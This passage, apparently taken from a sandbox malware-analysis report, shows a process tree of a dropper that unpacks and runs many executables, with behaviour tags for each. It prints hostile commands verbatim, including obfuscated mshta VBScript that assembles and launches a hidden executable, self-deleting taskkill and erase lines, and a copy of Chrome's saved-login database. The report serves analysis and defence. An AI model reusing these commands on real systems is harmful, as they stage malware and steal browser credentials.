                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                          PID:2080
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                                                                                            Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                            PID:1508
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Tue16752f37c10e89.exe /mixone
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                            PID:2040
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16752f37c10e89.exe
                                                                                                                                                                                                                                                                                                              Tue16752f37c10e89.exe /mixone
                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:2756
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue16752f37c10e89.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16752f37c10e89.exe" & exit
                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                  PID:4380
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                    taskkill /im "Tue16752f37c10e89.exe" /f
                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                    PID:2136
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue16937a015b8e.exe
                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                PID:2172
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16937a015b8e.exe
                                                                                                                                                                                                                                                                                                                  Tue16937a015b8e.exe
                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:988
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-1UHOQ.tmp\Tue16937a015b8e.tmp
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-1UHOQ.tmp\Tue16937a015b8e.tmp" /SL5="$200F8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16937a015b8e.exe"
                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                    PID:1688
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16937a015b8e.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16937a015b8e.exe" /SILENT
                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                      PID:2748
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-EPV4U.tmp\Tue16937a015b8e.tmp
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-EPV4U.tmp\Tue16937a015b8e.tmp" /SL5="$10200,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16937a015b8e.exe" /SILENT
                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                        PID:4136
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:2044
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                                                                    Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                    PID:1596
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                    PID:3376
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                                                                      Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                      PID:3240
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3240 -s 868
                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                        PID:4500
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:2496
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                                                                        Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        PID:3168
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                        PID:4000
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                                                                          Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                          PID:1376
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 1376 -s 1548
                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                            PID:4912
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Tue161bd708d12e5.exe
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:3080
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue161bd708d12e5.exe
                                                                                                                                                                                                                                                                                                                            Tue161bd708d12e5.exe
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                            PID:3608
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue161bd708d12e5.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue161bd708d12e5.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                PID:1072
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue161bd708d12e5.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue161bd708d12e5.exe" ) do taskkill -F /iM "%~nXE"
                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                    PID:4412
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\fkKCS.exe
                                                                                                                                                                                                                                                                                                                                      fkKCS.EXE -P_3FA3g8_0NB
                                                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                                          PID:4976
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"
                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                              PID:4148
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VBscRipt: ClOSE ( cREaTEOBjEcT ( "wSCript.sheLl" ). RUN ( "Cmd.eXE /c echo N%TIme%O> VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " , 0 , TRUe ) )
                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                              PID:5048
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c echo N%TIme%O> VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS
                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4980
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5244
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"
                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                        PID:5292
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                        msiexec.exe /Y .\pUA9.FS
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                        PID:5512
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                  taskkill -F /iM "Tue161bd708d12e5.exe"
                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                  PID:4936
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                            PID:2956
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                                                                                                              Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                              • Modifies system certificate store
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                              PID:3976
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4376
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                    taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                    PID:5196
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                              PID:3536
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                              PID:1720
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 200 -s 596
                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                              PID:1556
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SysWOW64\msiexec.exe"
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                        PID:5584
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          /c del "C:\Users\Admin\Pictures\Adobe Films\uHHpz3mb9URaGSlwRgNz3PJO.exe"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:5212
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                            PID:6648
                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\Firefox.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:5592
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7661.exe
                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7661.exe
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:7612
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:3508
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\457A.exe
                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\457A.exe
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:8892
                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Rot2hs2\taskhostr2x0rnyp.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Rot2hs2\taskhostr2x0rnyp.exe"
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5748
                                                                                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                  PID:3644
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                    PID:4984
                                                                                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2700
                                                                                                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2680
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                                                                                                                                                                                                                                                                                                        wmiadap.exe /F /T /R
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5776
                                                                                                                                                                                                                                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2604
                                                                                                                                                                                                                                                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2436
                                                                                                                                                                                                                                                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2412
                                                                                                                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1876
                                                                                                                                                                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1400
                                                                                                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1380
                                                                                                                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1204
                                                                                                                                                                                                                                                                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1104
                                                                                                                                                                                                                                                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                        PID:880
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\wdshgsr
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\wdshgsr
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6964
                                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:4128
                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                              c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6292
                                                                                                                                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:356
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                                                                                                                Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                PID:1992
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                  PID:4360
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                                                                                                                                Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                PID:440
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\D0Uc7jmR2uLUEb9RPqt7wUXG.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\D0Uc7jmR2uLUEb9RPqt7wUXG.exe"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                  PID:5496
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\rjnCq_D7k_gn2op6_g7nhn4Z.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\rjnCq_D7k_gn2op6_g7nhn4Z.exe"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                  PID:5324
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "rjnCq_D7k_gn2op6_g7nhn4Z.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\rjnCq_D7k_gn2op6_g7nhn4Z.exe" & exit
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:5020
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                        taskkill /im "rjnCq_D7k_gn2op6_g7nhn4Z.exe" /f
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                        PID:912
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\uHHpz3mb9URaGSlwRgNz3PJO.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\uHHpz3mb9URaGSlwRgNz3PJO.exe"
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
